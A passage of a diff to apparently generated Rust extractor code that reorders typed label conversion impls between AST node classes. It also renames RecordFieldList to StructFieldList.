         }
@@ -7374,68 +7501,9 @@ impl From<trap::Label<RangePat>> for trap::Label<Locatable> {
     }
 }
 
-impl From<trap::Label<RangePat>> for trap::Label<Pat> {
+impl From<trap::Label<RangePat>> for trap::Label<Element> {
     fn from(value: trap::Label<RangePat>) -> Self {
-        // SAFETY: this is safe because in the dbscheme RangePat is a subclass of Pat
-        unsafe {
-            Self::from_untyped(value.as_untyped())
-        }
-    }
-}
-
-#[derive(Debug)]
-pub struct RecordFieldList {
-    pub id: trap::TrapId<RecordFieldList>,
-    pub fields: Vec<trap::Label<RecordField>>,
-}
-
-impl trap::TrapEntry for RecordFieldList {
-    fn extract_id(&mut self) -> trap::TrapId<Self> {
-        std::mem::replace(&mut self.id, trap::TrapId::Star)
-    }
-
-    fn emit(self, id: trap::Label<Self>, out: &mut trap::Writer) {
-        out.add_tuple("record_field_lists", vec![id.into()]);
-        for (i, v) in self.fields.into_iter().enumerate() {
-            out.add_tuple("record_field_list_fields", vec![id.into(), i.into(), v.into()]);
-        }
-    }
-}
-
-impl trap::TrapClass for RecordFieldList {
-    fn class_name() -> &'static str { "RecordFieldList" }
-}
-
-impl From<trap::Label<RecordFieldList>> for trap::Label<AstNode> {
-    fn from(value: trap::Label<RecordFieldList>) -> Self {
-        // SAFETY: this is safe because in the dbscheme RecordFieldList is a subclass of AstNode
-        unsafe {
-            Self::from_untyped(value.as_untyped())
-        }
-    }
-}
-
-impl From<trap::Label<RecordFieldList>> for trap::Label<Element> {
-    fn from(value: trap::Label<RecordFieldList>) -> Self {
-        // SAFETY: this is safe because in the dbscheme RecordFieldList is a subclass of Element
-        unsafe {
-            Self::from_untyped(value.as_untyped())
-        }
-    }
-}
-
-impl From<trap::Label<RecordFieldList>> for trap::Label<FieldList> {
-    fn from(value: trap::Label<RecordFieldList>) -> Self {
-        // SAFETY: this is safe because in the dbscheme RecordFieldList is a subclass of FieldList
-        unsafe {
-            Self::from_untyped(value.as_untyped())
-        }
-    }
-}
-
-impl From<trap::Label<RecordFieldList>> for trap::Label<Locatable> {
-    fn from(value: trap::Label<RecordFieldList>) -> Self {
-        // SAFETY: this is safe because in the dbscheme RecordFieldList is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme RangePat is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -7481,36 +7549,36 @@ impl trap::TrapClass for RefExpr {
     fn class_name() -> &'static str { "RefExpr" }
 }
 
-impl From<trap::Label<RefExpr>> for trap::Label<AstNode> {
+impl From<trap::Label<RefExpr>> for trap::Label<Expr> {
     fn from(value: trap::Label<RefExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme RefExpr is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme RefExpr is a subclass of Expr
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<RefExpr>> for trap::Label<Element> {
+impl From<trap::Label<RefExpr>> for trap::Label<AstNode> {
     fn from(value: trap::Label<RefExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme RefExpr is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme RefExpr is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<RefExpr>> for trap::Label<Expr> {
+impl From<trap::Label<RefExpr>> for trap::Label<Locatable> {
     fn from(value: trap::Label<RefExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme RefExpr is a subclass of Expr
+        // SAFETY: this is safe because in the dbscheme RefExpr is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<RefExpr>> for trap::Label<Locatable> {
+impl From<trap::Label<RefExpr>> for trap::Label<Element> {
     fn from(value: trap::Label<RefExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme RefExpr is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme RefExpr is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -7544,18 +7612,18 @@ impl trap::TrapClass for RefPat {
     fn class_name() -> &'static str { "RefPat" }
 }
 
-impl From<trap::Label<RefPat>> for trap::Label<AstNode> {
+impl From<trap::Label<RefPat>> for trap::Label<Pat> {
     fn from(value: trap::Label<RefPat>) -> Self {
-        // SAFETY: this is safe because in the dbscheme RefPat is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme RefPat is a subclass of Pat
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<RefPat>> for trap::Label<Element> {
+impl From<trap::Label<RefPat>> for trap::Label<AstNode> {
     fn from(value: trap::Label<RefPat>) -> Self {
-        // SAFETY: this is safe because in the dbscheme RefPat is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme RefPat is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -7571,9 +7639,9 @@ impl From<trap::Label<RefPat>> for trap::Label<Locatable> {
     }
 }
 
-impl From<trap::Label<RefPat>> for trap::Label<Pat> {
+impl From<trap::Label<RefPat>> for trap::Label<Element> {
     fn from(value: trap::Label<RefPat>) -> Self {
-        // SAFETY: this is safe because in the dbscheme RefPat is a subclass of Pat
+        // SAFETY: this is safe because in the dbscheme RefPat is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -7611,18 +7679,18 @@ impl trap::TrapClass for RefTypeRepr {
     fn class_name() -> &'static str { "RefTypeRepr" }
 }
 
-impl From<trap::Label<RefTypeRepr>> for trap::Label<AstNode> {
+impl From<trap::Label<RefTypeRepr>> for trap::Label<TypeRepr> {
     fn from(value: trap::Label<RefTypeRepr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme RefTypeRepr is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme RefTypeRepr is a subclass of TypeRepr
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<RefTypeRepr>> for trap::Label<Element> {
+impl From<trap::Label<RefTypeRepr>> for trap::Label<AstNode> {
     fn from(value: trap::Label<RefTypeRepr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme RefTypeRepr is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme RefTypeRepr is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -7638,9 +7706,9 @@ impl From<trap::Label<RefTypeRepr>> for trap::Label<Locatable> {
     }
 }
 
-impl From<trap::Label<RefTypeRepr>> for trap::Label<TypeRepr> {
+impl From<trap::Label<RefTypeRepr>> for trap::Label<Element> {
     fn from(value: trap::Label<RefTypeRepr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme RefTypeRepr is a subclass of TypeRepr
+        // SAFETY: this is safe because in the dbscheme RefTypeRepr is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -7670,18 +7738,18 @@ impl trap::TrapClass for RestPat {
     fn class_name() -> &'static str { "RestPat" }
 }
 
-impl From<trap::Label<RestPat>> for trap::Label<AstNode> {
+impl From<trap::Label<RestPat>> for trap::Label<Pat> {
     fn from(value: trap::Label<RestPat>) -> Self {
-        // SAFETY: this is safe because in the dbscheme RestPat is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme RestPat is a subclass of Pat
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<RestPat>> for trap::Label<Element> {
+impl From<trap::Label<RestPat>> for trap::Label<AstNode> {
     fn from(value: trap::Label<RestPat>) -> Self {
-        // SAFETY: this is safe because in the dbscheme RestPat is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme RestPat is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -7697,9 +7765,9 @@ impl From<trap::Label<RestPat>> for trap::Label<Locatable> {
     }
 }
 
-impl From<trap::Label<RestPat>> for trap::Label<Pat> {
+impl From<trap::Label<RestPat>> for trap::Label<Element> {
     fn from(value: trap::Label<RestPat>) -> Self {
-        // SAFETY: this is safe because in the dbscheme RestPat is a subclass of Pat
+        // SAFETY: this is safe because in the dbscheme RestPat is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -7733,36 +7801,36 @@ impl trap::TrapClass for ReturnExpr {
     fn class_name() -> &'static str { "ReturnExpr" }
 }
 
-impl From<trap::Label<ReturnExpr>> for trap::Label<AstNode> {
+impl From<trap::Label<ReturnExpr>> for trap::Label<Expr> {
     fn from(value: trap::Label<ReturnExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ReturnExpr is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme ReturnExpr is a subclass of Expr
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<ReturnExpr>> for trap::Label<Element> {
+impl From<trap::Label<ReturnExpr>> for trap::Label<AstNode> {
     fn from(value: trap::Label<ReturnExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ReturnExpr is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme ReturnExpr is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<ReturnExpr>> for trap::Label<Expr> {
+impl From<trap::Label<ReturnExpr>> for trap::Label<Locatable> {
     fn from(value: trap::Label<ReturnExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ReturnExpr is a subclass of Expr
+        // SAFETY: this is safe because in the dbscheme ReturnExpr is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<ReturnExpr>> for trap::Label<Locatable> {
+impl From<trap::Label<ReturnExpr>> for trap::Label<Element> {
     fn from(value: trap::Label<ReturnExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ReturnExpr is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme ReturnExpr is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -7812,18 +7880,18 @@ impl trap::TrapClass for SelfParam {
     fn class_name() -> &'static str { "SelfParam" }
 }
 
-impl From<trap::Label<SelfParam>> for trap::Label<AstNode> {
+impl From<trap::Label<SelfParam>> for trap::Label<ParamBase> {
     fn from(value: trap::Label<SelfParam>) -> Self {
-        // SAFETY: this is safe because in the dbscheme SelfParam is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme SelfParam is a subclass of ParamBase
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<SelfParam>> for trap::Label<Element> {
+impl From<trap::Label<SelfParam>> for trap::Label<AstNode> {
     fn from(value: trap::Label<SelfParam>) -> Self {
-        // SAFETY: this is safe because in the dbscheme SelfParam is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme SelfParam is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -7839,9 +7907,9 @@ impl From<trap::Label<SelfParam>> for trap::Label<Locatable> {
     }
 }
 
-impl From<trap::Label<SelfParam>> for trap::Label<ParamBase> {
+impl From<trap::Label<SelfParam>> for trap::Label<Element> {
     fn from(value: trap::Label<SelfParam>) -> Self {
-        // SAFETY: this is safe because in the dbscheme SelfParam is a subclass of ParamBase
+        // SAFETY: this is safe because in the dbscheme SelfParam is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -7871,18 +7939,18 @@ impl trap::TrapClass for SlicePat {
     fn class_name() -> &'static str { "SlicePat" }
 }
 
-impl From<trap::Label<SlicePat>> for trap::Label<AstNode> {
+impl From<trap::Label<SlicePat>> for trap::Label<Pat> {
     fn from(value: trap::Label<SlicePat>) -> Self {
-        // SAFETY: this is safe because in the dbscheme SlicePat is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme SlicePat is a subclass of Pat
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<SlicePat>> for trap::Label<Element> {
+impl From<trap::Label<SlicePat>> for trap::Label<AstNode> {
     fn from(value: trap::Label<SlicePat>) -> Self {
-        // SAFETY: this is safe because in the dbscheme SlicePat is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme SlicePat is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -7898,9 +7966,9 @@ impl From<trap::Label<SlicePat>> for trap::Label<Locatable> {
     }
 }
 
-impl From<trap::Label<SlicePat>> for trap::Label<Pat> {
+impl From<trap::Label<SlicePat>> for trap::Label<Element> {
     fn from(value: trap::Label<SlicePat>) -> Self {
-        // SAFETY: this is safe because in the dbscheme SlicePat is a subclass of Pat
+        // SAFETY: this is safe because in the dbscheme SlicePat is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -7930,18 +7998,18 @@ impl trap::TrapClass for SliceTypeRepr {
     fn class_name() -> &'static str { "SliceTypeRepr" }
 }
 
-impl From<trap::Label<SliceTypeRepr>> for trap::Label<AstNode> {
+impl From<trap::Label<SliceTypeRepr>> for trap::Label<TypeRepr> {
     fn from(value: trap::Label<SliceTypeRepr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme SliceTypeRepr is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme SliceTypeRepr is a subclass of TypeRepr
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<SliceTypeRepr>> for trap::Label<Element> {
+impl From<trap::Label<SliceTypeRepr>> for trap::Label<AstNode> {
     fn from(value: trap::Label<SliceTypeRepr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme SliceTypeRepr is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme SliceTypeRepr is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -7957,9 +8025,68 @@ impl From<trap::Label<SliceTypeRepr>> for trap::Label<Locatable> {
     }
 }
 
-impl From<trap::Label<SliceTypeRepr>> for trap::Label<TypeRepr> {
+impl From<trap::Label<SliceTypeRepr>> for trap::Label<Element> {
     fn from(value: trap::Label<SliceTypeRepr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme SliceTypeRepr is a subclass of TypeRepr
+        // SAFETY: this is safe because in the dbscheme SliceTypeRepr is a subclass of Element
+        unsafe {
+            Self::from_untyped(value.as_untyped())
+        }
+    }
+}
+
+#[derive(Debug)]
+pub struct StructFieldList {
+    pub id: trap::TrapId<StructFieldList>,
+    pub fields: Vec<trap::Label<StructField>>,
+}
+
+impl trap::TrapEntry for StructFieldList {
+    fn extract_id(&mut self) -> trap::TrapId<Self> {
+        std::mem::replace(&mut self.id, trap::TrapId::Star)
+    }
+
+    fn emit(self, id: trap::Label<Self>, out: &mut trap::Writer) {
+        out.add_tuple("struct_field_lists", vec![id.into()]);
+        for (i, v) in self.fields.into_iter().enumerate() {
+            out.add_tuple("struct_field_list_fields", vec![id.into(), i.into(), v.into()]);
+        }
+    }
+}
+
+impl trap::TrapClass for StructFieldList {
+    fn class_name() -> &'static str { "StructFieldList" }
+}
+
+impl From<trap::Label<StructFieldList>> for trap::Label<FieldList> {
+    fn from(value: trap::Label<StructFieldList>) -> Self {
+        // SAFETY: this is safe because in the dbscheme StructFieldList is a subclass of FieldList
+        unsafe {
+            Self::from_untyped(value.as_untyped())
+        }
+    }
+}
+
+impl From<trap::Label<StructFieldList>> for trap::Label<AstNode> {
+    fn from(value: trap::Label<StructFieldList>) -> Self {
+        // SAFETY: this is safe because in the dbscheme StructFieldList is a subclass of AstNode
+        unsafe {
+            Self::from_untyped(value.as_untyped())
+        }
+    }
+}
+
+impl From<trap::Label<StructFieldList>> for trap::Label<Locatable> {
+    fn from(value: trap::Label<StructFieldList>) -> Self {
+        // SAFETY: this is safe because in the dbscheme StructFieldList is a subclass of Locatable
+        unsafe {
+            Self::from_untyped(value.as_untyped())
+        }
+    }
+}
+
+impl From<trap::Label<StructFieldList>> for trap::Label<Element> {
+    fn from(value: trap::Label<StructFieldList>) -> Self {
+        // SAFETY: this is safe because in the dbscheme StructFieldList is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -7993,36 +8120,36 @@ impl trap::TrapClass for TryExpr {
     fn class_name() -> &'static str { "TryExpr" }
 }
 
-impl From<trap::Label<TryExpr>> for trap::Label<AstNode> {
+impl From<trap::Label<TryExpr>> for trap::Label<Expr> {
     fn from(value: trap::Label<TryExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme TryExpr is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme TryExpr is a subclass of Expr
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<TryExpr>> for trap::Label<Element> {
+impl From<trap::Label<TryExpr>> for trap::Label<AstNode> {
     fn from(value: trap::Label<TryExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme TryExpr is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme TryExpr is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<TryExpr>> for trap::Label<Expr> {
+impl From<trap::Label<TryExpr>> for trap::Label<Locatable> {
     fn from(value: trap::Label<TryExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme TryExpr is a subclass of Expr
+        // SAFETY: this is safe because in the dbscheme TryExpr is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<TryExpr>> for trap::Label<Locatable> {
+impl From<trap::Label<TryExpr>> for trap::Label<Element> {
     fn from(value: trap::Label<TryExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme TryExpr is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme TryExpr is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -8056,36 +8183,36 @@ impl trap::TrapClass for TupleExpr {
     fn class_name() -> &'static str { "TupleExpr" }
 }
 
-impl From<trap::Label<TupleExpr>> for trap::Label<AstNode> {
+impl From<trap::Label<TupleExpr>> for trap::Label<Expr> {
     fn from(value: trap::Label<TupleExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme TupleExpr is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme TupleExpr is a subclass of Expr
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<TupleExpr>> for trap::Label<Element> {
+impl From<trap::Label<TupleExpr>> for trap::Label<AstNode> {
     fn from(value: trap::Label<TupleExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme TupleExpr is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme TupleExpr is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<TupleExpr>> for trap::Label<Expr> {
+impl From<trap::Label<TupleExpr>> for trap::Label<Locatable> {
     fn from(value: trap::Label<TupleExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme TupleExpr is a subclass of Expr
+        // SAFETY: this is safe because in the dbscheme TupleExpr is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<TupleExpr>> for trap::Label<Locatable> {
+impl From<trap::Label<TupleExpr>> for trap::Label<Element> {
     fn from(value: trap::Label<TupleExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme TupleExpr is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme TupleExpr is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -8115,36 +8242,36 @@ impl trap::TrapClass for TupleFieldList {
     fn class_name() -> &'static str { "TupleFieldList" }
 }
 
-impl From<trap::Label<TupleFieldList>> for trap::Label<AstNode> {
+impl From<trap::Label<TupleFieldList>> for trap::Label<FieldList> {
     fn from(value: trap::Label<TupleFieldList>) -> Self {
-        // SAFETY: this is safe because in the dbscheme TupleFieldList is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme TupleFieldList is a subclass of FieldList
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<TupleFieldList>> for trap::Label<Element> {
+impl From<trap::Label<TupleFieldList>> for trap::Label<AstNode> {
     fn from(value: trap::Label<TupleFieldList>) -> Self {
-        // SAFETY: this is safe because in the dbscheme TupleFieldList is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme TupleFieldList is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<TupleFieldList>> for trap::Label<FieldList> {
+impl From<trap::Label<TupleFieldList>> for trap::Label<Locatable> {
     fn from(value: trap::Label<TupleFieldList>) -> Self {
-        // SAFETY: this is safe because in the dbscheme TupleFieldList is a subclass of FieldList
+        // SAFETY: this is safe because in the dbscheme TupleFieldList is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<TupleFieldList>> for trap::Label<Locatable> {
+impl From<trap::Label<TupleFieldList>> for trap::Label<Element> {
     fn from(value: trap::Label<TupleFieldList>) -> Self {
-        // SAFETY: this is safe because in the dbscheme TupleFieldList is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme TupleFieldList is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -8174,18 +8301,18 @@ impl trap::TrapClass for TuplePat {
     fn class_name() -> &'static str { "TuplePat" }
 }
 
-impl From<trap::Label<TuplePat>> for trap::Label<AstNode> {
+impl From<trap::Label<TuplePat>> for trap::Label<Pat> {
     fn from(value: trap::Label<TuplePat>) -> Self {
-        // SAFETY: this is safe because in the dbscheme TuplePat is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme TuplePat is a subclass of Pat
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<TuplePat>> for trap::Label<Element> {
+impl From<trap::Label<TuplePat>> for trap::Label<AstNode> {
     fn from(value: trap::Label<TuplePat>) -> Self {
-        // SAFETY: this is safe because in the dbscheme TuplePat is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme TuplePat is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -8201,9 +8328,9 @@ impl From<trap::Label<TuplePat>> for trap::Label<Locatable> {
     }
 }
 
-impl From<trap::Label<TuplePat>> for trap::Label<Pat> {
+impl From<trap::Label<TuplePat>> for trap::Label<Element> {
     fn from(value: trap::Label<TuplePat>) -> Self {
-        // SAFETY: this is safe because in the dbscheme TuplePat is a subclass of Pat
+        // SAFETY: this is safe because in the dbscheme TuplePat is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -8233,18 +8360,18 @@ impl trap::TrapClass for TupleTypeRepr {
     fn class_name() -> &'static str { "TupleTypeRepr" }
 }
 
-impl From<trap::Label<TupleTypeRepr>> for trap::Label<AstNode> {
+impl From<trap::Label<TupleTypeRepr>> for trap::Label<TypeRepr> {
     fn from(value: trap::Label<TupleTypeRepr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme TupleTypeRepr is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme TupleTypeRepr is a subclass of TypeRepr
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<TupleTypeRepr>> for trap::Label<Element> {
+impl From<trap::Label<TupleTypeRepr>> for trap::Label<AstNode> {
     fn from(value: trap::Label<TupleTypeRepr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme TupleTypeRepr is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme TupleTypeRepr is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -8260,9 +8387,9 @@ impl From<trap::Label<TupleTypeRepr>> for trap::Label<Locatable> {
     }
 }
 
-impl From<trap::Label<TupleTypeRepr>> for trap::Label<TypeRepr> {
+impl From<trap::Label<TupleTypeRepr>> for trap::Label<Element> {
     fn from(value: trap::Label<TupleTypeRepr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme TupleTypeRepr is a subclass of TypeRepr
+        // SAFETY: this is safe because in the dbscheme TupleTypeRepr is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -8292,36 +8419,36 @@ impl trap::TrapClass for TypeArg {
     fn class_name() -> &'static str { "TypeArg" }
 }
 
-impl From<trap::Label<TypeArg>> for trap::Label<AstNode> {
+impl From<trap::Label<TypeArg>> for trap::Label<GenericArg> {
     fn from(value: trap::Label<TypeArg>) -> Self {
-        // SAFETY: this is safe because in the dbscheme TypeArg is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme TypeArg is a subclass of GenericArg
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<TypeArg>> for trap::Label<Element> {
+impl From<trap::Label<TypeArg>> for trap::Label<AstNode> {
     fn from(value: trap::Label<TypeArg>) -> Self {
-        // SAFETY: this is safe because in the dbscheme TypeArg is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme TypeArg is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<TypeArg>> for trap::Label<GenericArg> {
+impl From<trap::Label<TypeArg>> for trap::Label<Locatable> {
     fn from(value: trap::Label<TypeArg>) -> Self {
-        // SAFETY: this is safe because in the dbscheme TypeArg is a subclass of GenericArg
+        // SAFETY: this is safe because in the dbscheme TypeArg is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<TypeArg>> for trap::Label<Locatable> {
+impl From<trap::Label<TypeArg>> for trap::Label<Element> {
     fn from(value: trap::Label<TypeArg>) -> Self {
-        // SAFETY: this is safe because in the dbscheme TypeArg is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme TypeArg is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -8363,36 +8490,36 @@ impl trap::TrapClass for TypeParam {
     fn class_name() -> &'static str { "TypeParam" }
 }
 
-impl From<trap::Label<TypeParam>> for trap::Label<AstNode> {
+impl From<trap::Label<TypeParam>> for trap::Label<GenericParam> {
     fn from(value: trap::Label<TypeParam>) -> Self {
-        // SAFETY: this is safe because in the dbscheme TypeParam is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme TypeParam is a subclass of GenericParam
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<TypeParam>> for trap::Label<Element> {
+impl From<trap::Label<TypeParam>> for trap::Label<AstNode> {
     fn from(value: trap::Label<TypeParam>) -> Self {
-        // SAFETY: this is safe because in the dbscheme TypeParam is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme TypeParam is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<TypeParam>> for trap::Label<GenericParam> {
+impl From<trap::Label<TypeParam>> for trap::Label<Locatable> {
     fn from(value: trap::Label<TypeParam>) -> Self {
-        // SAFETY: this is safe because in the dbscheme TypeParam is a subclass of GenericParam
+        // SAFETY: this is safe because in the dbscheme TypeParam is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<TypeParam>> for trap::Label<Locatable> {
+impl From<trap::Label<TypeParam>> for trap::Label<Element> {
     fn from(value: trap::Label<TypeParam>) -> Self {
-        // SAFETY: this is safe because in the dbscheme TypeParam is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme TypeParam is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -8422,36 +8549,36 @@ impl trap::TrapClass for UnderscoreExpr {
     fn class_name() -> &'static str { "UnderscoreExpr" }
 }
 
-impl From<trap::Label<UnderscoreExpr>> for trap::Label<AstNode> {
+impl From<trap::Label<UnderscoreExpr>> for trap::Label<Expr> {
     fn from(value: trap::Label<UnderscoreExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme UnderscoreExpr is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme UnderscoreExpr is a subclass of Expr
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<UnderscoreExpr>> for trap::Label<Element> {
+impl From<trap::Label<UnderscoreExpr>> for trap::Label<AstNode> {
     fn from(value: trap::Label<UnderscoreExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme UnderscoreExpr is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme UnderscoreExpr is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<UnderscoreExpr>> for trap::Label<Expr> {
+impl From<trap::Label<UnderscoreExpr>> for trap::Label<Locatable> {
     fn from(value: trap::Label<UnderscoreExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme UnderscoreExpr is a subclass of Expr
+        // SAFETY: this is safe because in the dbscheme UnderscoreExpr is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<UnderscoreExpr>> for trap::Label<Locatable> {
+impl From<trap::Label<UnderscoreExpr>> for trap::Label<Element> {
     fn from(value: trap::Label<UnderscoreExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme UnderscoreExpr is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme UnderscoreExpr is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -8462,7 +8589,7 @@ impl From<trap::Label<UnderscoreExpr>> for trap::Label<Locatable> {
 pub struct Variant {
     pub id: trap::TrapId<Variant>,
     pub attrs: Vec<trap::Label<Attr>>,
-    pub expr: Option<trap::Label<Expr>>,
